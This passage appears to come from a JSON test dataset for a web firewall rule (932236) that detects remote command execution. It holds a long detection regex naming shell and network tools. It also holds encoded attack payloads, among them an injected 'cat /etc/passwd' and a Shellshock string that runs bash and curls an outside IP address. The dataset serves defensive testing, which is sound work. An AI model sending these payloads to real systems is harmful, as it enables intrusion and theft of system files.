en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "RCE from https://github.com/payloadbox/command-injection-payload-list combined with html entities" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=%0Acat%20/etc/passwd;&arg2=Something+%26%238222%3BThe+Title%26%238221%3B.+After+something" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_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\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "RCE from https://github.com/payloadbox/command-injection-payload-list combined with html entities" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=()%20{%20:;};%20/bin/bash%20-c%20\"curl%20http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=\\`top%20-a\\`\"&arg2=Something+%26%238222%3BThe+Title%26%238221%3B.+After+something" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b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(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\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ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&